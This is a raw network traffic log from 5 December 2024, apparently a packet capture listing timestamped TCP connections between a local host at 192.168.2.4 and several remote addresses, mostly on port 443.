Dec 5, 2024 22:16:51.349828959 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.349838972 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.349884987 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.399602890 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.399621964 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.399674892 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.399683952 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.399725914 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.529155016 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.529174089 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.529356003 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.529366016 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.529408932 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.554346085 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.554363012 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.554414034 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.554419994 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.554460049 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.578777075 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.578794956 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.579013109 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.579020023 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.579061031 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.598311901 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.598330021 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.598510981 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.598517895 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.598566055 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.707134962 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.707158089 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.707218885 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.707226038 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.707262039 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.725014925 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.725030899 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.725162029 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.725168943 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.725363016 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.740567923 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.740592003 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.740726948 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.740726948 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.740735054 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.740780115 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.753935099 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.753951073 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.754002094 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.754007101 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.754054070 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.769387960 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.769408941 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.769504070 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.769510031 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.769690990 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.779994965 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.780011892 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.780107021 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.780116081 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.780289888 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.784811020 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.784869909 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.784874916 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.784894943 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.784912109 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.784949064 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.784996986 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.785006046 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.785015106 CET	49782	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.785020113 CET	443	49782	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.823323011 CET	49784	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.823354959 CET	443	49784	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.823554039 CET	49784	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.824098110 CET	49784	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.824114084 CET	443	49784	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.825042963 CET	49785	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.825083017 CET	443	49785	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.825140953 CET	49785	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.825452089 CET	49785	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.825464964 CET	443	49785	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.825706005 CET	49786	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.825714111 CET	443	49786	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.825841904 CET	49786	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.825937033 CET	49786	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.825948000 CET	443	49786	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.827121973 CET	49787	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.827130079 CET	443	49787	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.827172995 CET	49787	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.827718973 CET	49788	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.827750921 CET	443	49788	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.827800989 CET	49788	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.827837944 CET	49787	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.827847958 CET	443	49787	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.827912092 CET	49788	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:51.827929020 CET	443	49788	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:51.928251028 CET	443	49783	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:51.928355932 CET	443	49783	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:51.928441048 CET	49783	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:51.929380894 CET	49783	443	192.168.2.4	172.67.189.38
Dec 5, 2024 22:16:51.929389000 CET	443	49783	172.67.189.38	192.168.2.4
Dec 5, 2024 22:16:52.118520975 CET	49789	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:52.118565083 CET	443	49789	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:52.118638039 CET	49789	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:52.118947983 CET	49789	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:52.118961096 CET	443	49789	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:53.329109907 CET	443	49789	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:53.329480886 CET	49789	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:53.329493999 CET	443	49789	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:53.330506086 CET	443	49789	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:53.330564022 CET	49789	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:53.330881119 CET	49789	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:53.330899954 CET	49789	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:53.330939054 CET	443	49789	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:53.330950022 CET	49789	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:53.330987930 CET	49789	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:53.331322908 CET	49792	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:53.331382990 CET	443	49792	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:53.331444025 CET	49792	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:53.331676006 CET	49792	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:53.331691980 CET	443	49792	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:53.553229094 CET	443	49785	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.553711891 CET	49785	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:53.553730965 CET	443	49785	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.554229021 CET	49785	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:53.554234028 CET	443	49785	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.555655956 CET	443	49786	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.555906057 CET	49786	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:53.555932999 CET	443	49786	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.555943012 CET	443	49787	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.556185961 CET	49787	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:53.556194067 CET	443	49787	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.556242943 CET	49786	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:53.556251049 CET	443	49786	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.556693077 CET	49787	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:53.556696892 CET	443	49787	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.627530098 CET	443	49788	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.627902031 CET	49788	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:53.627927065 CET	443	49788	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.628284931 CET	49788	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:53.628289938 CET	443	49788	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.797804117 CET	443	49784	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.798223972 CET	49784	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:53.798260927 CET	443	49784	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.800080061 CET	49784	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:53.800085068 CET	443	49784	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.987940073 CET	443	49785	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.988017082 CET	443	49785	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.988177061 CET	49785	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:53.990712881 CET	443	49787	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.990767956 CET	443	49787	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.990808964 CET	49787	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:53.995279074 CET	443	49786	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.995309114 CET	443	49786	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.995359898 CET	49786	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:53.995393991 CET	443	49786	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.995433092 CET	49786	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:53.998733044 CET	443	49786	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.998790979 CET	443	49786	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:53.998833895 CET	49786	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.026437998 CET	49785	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.026467085 CET	443	49785	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.026477098 CET	49785	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.026484013 CET	443	49785	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.067131042 CET	443	49788	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.067157984 CET	443	49788	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.067217112 CET	49788	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.067250013 CET	443	49788	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.067835093 CET	443	49788	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.067892075 CET	49788	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.152873039 CET	49788	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.152894974 CET	443	49788	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.152910948 CET	49788	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.152916908 CET	443	49788	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.156883955 CET	49787	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.156883955 CET	49787	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.156902075 CET	443	49787	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.156912088 CET	443	49787	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.169259071 CET	49786	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.169295073 CET	443	49786	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.169308901 CET	49786	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.169315100 CET	443	49786	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.185143948 CET	49793	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.185169935 CET	443	49793	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.185226917 CET	49793	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.185794115 CET	49793	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.185806036 CET	443	49793	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.186403990 CET	49794	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.186429977 CET	443	49794	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.186476946 CET	49794	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.186611891 CET	49794	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.186625957 CET	443	49794	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.186924934 CET	49795	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.186934948 CET	443	49795	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.186988115 CET	49795	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.187088966 CET	49795	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.187099934 CET	443	49795	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.187268972 CET	49796	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.187292099 CET	443	49796	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.187338114 CET	49796	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.187480927 CET	49796	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.187494040 CET	443	49796	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.305996895 CET	443	49784	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.306019068 CET	443	49784	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.306067944 CET	49784	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.306083918 CET	443	49784	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.306126118 CET	49784	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.306288004 CET	49784	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.306291103 CET	443	49784	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.306308985 CET	49784	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.306437016 CET	443	49784	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.306480885 CET	443	49784	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.306515932 CET	49784	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.308254957 CET	49797	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.308284998 CET	443	49797	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.308340073 CET	49797	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.308552980 CET	49797	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:54.308567047 CET	443	49797	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:54.543876886 CET	443	49792	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:54.544171095 CET	49792	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:54.544198990 CET	443	49792	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:54.545257092 CET	443	49792	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:54.545315027 CET	49792	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:54.545649052 CET	49792	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:54.545716047 CET	443	49792	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:54.545773983 CET	49792	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:54.545785904 CET	443	49792	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:54.586091995 CET	49792	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:55.461684942 CET	443	49792	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:55.461815119 CET	443	49792	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:55.461862087 CET	49792	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:55.462563038 CET	49792	443	192.168.2.4	104.21.65.72
Dec 5, 2024 22:16:55.462591887 CET	443	49792	104.21.65.72	192.168.2.4
Dec 5, 2024 22:16:55.915661097 CET	443	49795	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:55.916162968 CET	49795	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:55.916199923 CET	443	49795	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:55.916460991 CET	443	49794	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:55.916476965 CET	443	49796	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:55.916512012 CET	443	49793	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:55.916596889 CET	49795	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:55.916601896 CET	443	49795	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:55.916768074 CET	49794	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:55.916799068 CET	443	49794	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:55.916871071 CET	49793	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:55.916887999 CET	443	49793	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:55.917188883 CET	49794	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:55.917200089 CET	443	49794	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:55.917257071 CET	49793	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:55.917260885 CET	443	49793	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:55.917505026 CET	49796	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:55.917527914 CET	443	49796	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:55.917826891 CET	49796	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:55.917831898 CET	443	49796	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.052129984 CET	443	49797	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.052500963 CET	49797	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.052517891 CET	443	49797	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.052895069 CET	49797	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.052901983 CET	443	49797	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.349910021 CET	443	49795	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.349973917 CET	443	49795	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.350059986 CET	49795	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.350245953 CET	49795	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.350266933 CET	443	49795	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.350281000 CET	49795	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.350286961 CET	443	49795	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.351989985 CET	443	49793	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.352008104 CET	443	49794	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.352077007 CET	443	49794	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.352097988 CET	443	49793	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.352133989 CET	49794	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.352140903 CET	49793	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.352298975 CET	49794	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.352298975 CET	49794	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.352346897 CET	443	49794	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.352374077 CET	443	49794	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.353200912 CET	49793	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.353208065 CET	443	49793	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.353230953 CET	49793	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.353235006 CET	443	49793	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.353234053 CET	49800	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.353279114 CET	443	49800	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.353327990 CET	49800	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.353915930 CET	49800	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.353935003 CET	443	49800	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.354515076 CET	49801	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.354546070 CET	443	49801	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.354608059 CET	49801	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.354712963 CET	49801	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.354726076 CET	443	49801	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.355238914 CET	49802	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.355263948 CET	443	49802	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.355343103 CET	49802	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.355413914 CET	49802	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.355424881 CET	443	49802	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.384473085 CET	443	49796	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.384532928 CET	443	49796	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.384586096 CET	49796	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.384689093 CET	49796	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.384706974 CET	443	49796	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.384721041 CET	49796	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.384726048 CET	443	49796	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.386614084 CET	49803	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.386626959 CET	443	49803	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.386693001 CET	49803	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.386826038 CET	49803	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.386836052 CET	443	49803	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.488343954 CET	443	49797	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.488429070 CET	443	49797	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.488476992 CET	49797	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.488599062 CET	49797	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.488615990 CET	443	49797	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.488626957 CET	49797	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.488631964 CET	443	49797	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.491177082 CET	49804	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.491220951 CET	443	49804	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:56.491282940 CET	49804	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.491409063 CET	49804	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:56.491424084 CET	443	49804	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:57.225425005 CET	49746	80	192.168.2.4	3.5.128.104
Dec 5, 2024 22:16:57.346448898 CET	80	49746	3.5.128.104	192.168.2.4
Dec 5, 2024 22:16:58.078145981 CET	443	49802	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.078444004 CET	443	49801	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.078788996 CET	49802	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.078828096 CET	443	49802	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.079149008 CET	49801	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.079190016 CET	443	49801	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.079333067 CET	49802	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.079339981 CET	443	49802	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.079446077 CET	443	49800	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.079587936 CET	49801	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.079593897 CET	443	49801	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.079734087 CET	49800	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.079749107 CET	443	49800	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.080063105 CET	49800	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.080068111 CET	443	49800	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.102432013 CET	443	49803	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.102776051 CET	49803	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.102813005 CET	443	49803	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.103240967 CET	49803	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:16:58.103249073 CET	443	49803	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.230377913 CET	443	49804	13.107.246.63	192.168.2.4
Dec 5, 2024 22:16:58.230900049 CET	49804	443	192.168.2.4	13.107.246.63
